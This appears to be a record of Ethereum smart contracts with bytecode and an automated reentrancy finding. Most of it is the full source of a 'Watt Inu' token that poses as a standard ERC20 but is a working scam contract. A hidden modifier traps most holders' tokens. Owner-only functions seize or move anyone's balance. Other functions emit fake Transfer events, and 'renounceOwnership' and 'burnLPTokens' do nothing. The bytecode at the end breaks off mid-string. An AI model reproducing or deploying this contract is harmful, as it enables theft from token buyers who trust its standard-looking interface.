uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610527578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b8063a2a957bb146104a2578063a9059cbb146104c2578063bfd79284146104e2578063c3c8cd801461051257600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b41146101fe57806398a5c3151461048257600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611931565b6105cd565b005b34801561020a57600080fd5b50604080518082018252600c81526b2332b63637bb90243ab6b0b760a11b6020820152905161023991906119f6565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a4b565b61066c565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611a77565b610683565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ab8565b6106ec565b34801561036d57600080fd5b506101fc61037c366004611ae5565b610737565b34801561038d57600080fd5b506101fc61077f565b3480156103a257600080fd5b506102c16103b1366004611ab8565b6107ca565b3480156103c257600080fd5b506101fc6107ec565b3480156103d757600080fd5b506101fc6103e6366004611b00565b610860565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ab8565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611ae5565b61088f565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506101fc61049d366004611b00565b6108d7565b3480156104ae57600080fd5b506101fc6104bd366004611b19565b610906565b3480156104ce57600080fd5b506102626104dd366004611a4b565b610944565b3480156104ee57600080fd5b506102626104fd366004611ab8565b60106020526000908152604090205460ff1681565b34801561051e57600080fd5b506101fc610951565b34801561053357600080fd5b506101fc610542366004611b4b565b6109a5565b34801561055357600080fd5b506102c1610562366004611bcf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611b00565b610a46565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a75565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611c08565b60405180910390fd5b60005b81518110156106685760016010600084848151811061062457610624611c3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066081611c69565b915050610603565b5050565b6000610679338484610b5f565b5060015b92915050565b6000610690848484610c83565b6106e284336106dd85604051806060016040528060288152602001611d83602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bf565b610b5f565b5060019392505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b457506013546001600160a01b0316336001600160a01b0316145b6107bd57600080fd5b476107c7816111f9565b50565b6001600160a01b03811660009081526002602052604081205461067d90611233565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016105f790611c08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016105f790611c08565b601655565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016105f790611c08565b601855565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105f790611c08565b600893909355600a91909155600955600b55565b6000610679338484610c83565b6012546001600160a01b0316336001600160a01b0316148061098657506013546001600160a01b0316336001600160a01b0316145b61098f57600080fd5b600061099a306107ca565b90506107c7816112b7565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105f790611c08565b60005b82811015610a405781600560008686858181106109f1576109f1611c3d565b9050602002016020810190610a069190611ab8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3881611c69565b9150506109d2565b50505050565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016105f790611c08565b601755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b156110b857601554600160a01b900460ff16610e70576000546001600160a01b03848116911614610e705760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610ec25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0457506001600160a01b03821660009081526010602052604090205460ff16155b610f5c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610fe15760175481610f7e846107ca565b610f889190611c84565b10610fe15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610fec306107ca565b6018546016549192508210159082106110055760165491505b80801561101c5750601554600160a81b900460ff16155b801561103657506015546001600160a01b03868116911614155b801561104b5750601554600160b01b900460ff165b801561107057506001600160a01b03851660009081526005602052604090205460ff16155b801561109557506001600160a01b03841660009081526005602052604090205460ff16155b156110b5576110a3826112b7565b4780156110b3576110b3476111f9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fa57506001600160a01b03831660009081526005602052604090205460ff165b8061112c57506015546001600160a01b0385811691161480159061112c57506015546001600160a01b03848116911614155b15611139575060006111b3565b6015546001600160a01b03858116911614801561116457506014546001600160a01b03848116911614155b1561117657600854600c55600954600d555b6015546001600160a01b0384811691161480156111a157506014546001600160a01b03858116911614155b156111b357600a54600c55600b54600d555b610a4084848484611440565b600081848411156111e35760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611c9c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610668573d6000803e3d6000fd5b600060065482111561129a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b60006112a461146e565b90506112b08382611491565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ff576112ff611c3d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135357600080fd5b505afa158015611367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138b9190611cb3565b8160018151811061139e5761139e611c3d565b6001600160a01b0392831660209182029290920101526014546113c49130911684610b5f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fd908590600090869030904290600401611cd0565b600060405180830381600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144d5761144d6114d3565b611458848484611501565b80610a4057610a40600e54600c55600f54600d55565b600080600061147b6115f8565b909250905061148a8282611491565b9250505090565b60006112b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b600c541580156114e35750600d54155b156114ea57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151387611666565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154590876116c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115749086611705565b6001600160a01b03891660009081526002602052604090205561159681611764565b6115a084836117ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116138282611491565b82101561162f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116595760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611d41565b60008060008060008060008060006116838a600c54600d546117d2565b925092509250600061169361146e565b905060008060006116a68e878787611827565b919e509c509a509598509396509194505050505091939550919395565b60006112b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b6000806117128385611c84565b9050838110156112b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b600061176e61146e565b9050600061177c8383611877565b306000908152600260205260409020549091506117999082611705565b30600090815260026020526040902055505050565b6006546117bb90836116c3565b6006556007546117cb9082611705565b6007555050565b60008080806117ec60646117e68989611877565b90611491565b905060006117ff60646117e68a89611877565b90506000611817826118118b866116c3565b906116c3565b9992985090965090945050505050565b60008080806118368886611877565b905060006118448887611877565b905060006118528888611877565b905060006118648261181186866116c3565b939b939a50919850919650505050505050565b6000826118865750600061067d565b60006118928385611d63565b90508261189f8583611d41565b146112b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b803561192c8161190c565b919050565b6000602080838503121561194457600080fd5b823567ffffffffffffffff8082111561195c57600080fd5b818501915085601f83011261197057600080fd5b813581811115611982576119826118f6565b8060051b604051601f19603f830116810181811085821117156119a7576119a76118f6565b6040529182528482019250838101850191888311156119c557600080fd5b938501935b828510156119ea576119db85611921565b845293850193928501926119ca565b98975050505050505050565b600060208083528351808285015260005b81811015611a2357858101830151858201604001528201611a07565b81811115611a35576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5e57600080fd5b8235611a698161190c565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b8335611a978161190c565b92506020840135611aa78161190c565b929592945050506040919091013590565b600060208284031215611aca57600080fd5b81356112b08161190c565b8035801515811461192c57600080fd5b600060208284031215611af757600080fd5b6112b082611ad5565b600060208284031215611b1257600080fd5b5035919050565b60008060008060808587031215611b2f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff80821115611b7857600080fd5b818601915086601f830112611b8c57600080fd5b813581811115611b9b57600080fd5b8760208260051b8501011115611bb057600080fd5b602092830195509350611bc69186019050611ad5565b90509250925092565b60008060408385031215611be257600080fd5b8235611bed8161190c565b91506020830135611bfd8161190c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7d57611c7d611c53565b5060010190565b60008219821115611c9757611c97611c53565b500190565b600082821015611cae57611cae611c53565b500390565b600060208284031215611cc557600080fd5b81516112b08161190c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d205784516001600160a01b031683529383019391830191600101611cfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7d57611d7d611c53565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e32a1a14fb89f3b053c3626969f96079e8b11037e000c29ece9d4d07bf2cab7564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,256 |
0xd1c7f6670c5ad547939fa11017ac606979d83e80
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Watt is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x7db5af2B9624e1b3B4Bb69D6DeBd9aD1016A58Ac;
address public _ownr = 0x06579a69C240210EC23682a9949115a28044C628;
constructor () public {
_name = "Watt Inu";
_symbol = "WATT";
_decimals = 18;
uint256 initialSupply = 69000000000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146108ac578063d014c01f146109df578063dd62ed3e14610a05578063f8129cd214610a3357610173565b8063b14a5c6a1461087e578063bb88603c146105b6578063bedf77a61461088657610173565b8063715018a6146105b65780638d3ca13e146105be5780639430b496146106f157806395d89b4114610717578063a5aae2541461071f578063a9059cbb1461085257610173565b80633cc4430d116101305780633cc4430d146103465780634e6ec247146104795780635265327c146104a5578063671e9921146104cb57806368d37db5146104ef57806370a082311461059057610173565b806306fdde031461017857806308ec4eb5146101f5578063095ea7b31461029857806318160ddd146102d857806323b872dd146102f2578063313ce56714610328575b600080fd5b610180610b66565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102966004803603602081101561020b57600080fd5b810190602081018135600160201b81111561022557600080fd5b82018360208201111561023757600080fd5b803590602001918460208302840111600160201b8311171561025857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bfc945050505050565b005b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610cf0565b604080519115158252519081900360200190f35b6102e0610d0d565b60408051918252519081900360200190f35b6102c46004803603606081101561030857600080fd5b506001600160a01b03813581169160208101359091169060400135610d13565b610330610d9a565b6040805160ff9092168252519081900360200190f35b6102966004803603606081101561035c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561038657600080fd5b82018360208201111561039857600080fd5b803590602001918460208302840111600160201b831117156103b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561040857600080fd5b82018360208201111561041a57600080fd5b803590602001918460208302840111600160201b8311171561043b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610da3945050505050565b6102966004803603604081101561048f57600080fd5b506001600160a01b038135169060200135610e69565b610296600480360360208110156104bb57600080fd5b50356001600160a01b0316610f47565b6104d3610fb1565b604080516001600160a01b039092168252519081900360200190f35b6102966004803603602081101561050557600080fd5b810190602081018135600160201b81111561051f57600080fd5b82018360208201111561053157600080fd5b803590602001918460208302840111600160201b8311171561055257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fc0945050505050565b6102e0600480360360208110156105a657600080fd5b50356001600160a01b03166110a6565b6102966110c1565b610296600480360360608110156105d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105fe57600080fd5b82018360208201111561061057600080fd5b803590602001918460208302840111600160201b8311171561063157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561068057600080fd5b82018360208201111561069257600080fd5b803590602001918460208302840111600160201b831117156106b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611110945050505050565b6102c46004803603602081101561070757600080fd5b50356001600160a01b03166111d0565b61018061123c565b6102966004803603606081101561073557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075f57600080fd5b82018360208201111561077157600080fd5b803590602001918460208302840111600160201b8311171561079257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107e157600080fd5b8201836020820111156107f357600080fd5b803590602001918460208302840111600160201b8311171561081457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061129d945050505050565b6102c46004803603604081101561086857600080fd5b506001600160a01b03813516906020013561135d565b6104d3611371565b6102966004803603602081101561089c57600080fd5b50356001600160a01b0316611380565b610296600480360360608110156108c257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ec57600080fd5b8201836020820111156108fe57600080fd5b803590602001918460208302840111600160201b8311171561091f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561096e57600080fd5b82018360208201111561098057600080fd5b803590602001918460208302840111600160201b831117156109a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611402945050505050565b610296600480360360208110156109f557600080fd5b50356001600160a01b03166114a0565b6102e060048036036040811015610a1b57600080fd5b506001600160a01b0381358116916020013516611527565b61029660048036036060811015610a4957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a7357600080fd5b820183602082011115610a8557600080fd5b803590602001918460208302840111600160201b83111715610aa657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610af557600080fd5b820183602082011115610b0757600080fd5b803590602001918460208302840111600160201b83111715610b2857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611552945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b600d546001600160a01b03163314610c44576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610cec5760018060008484815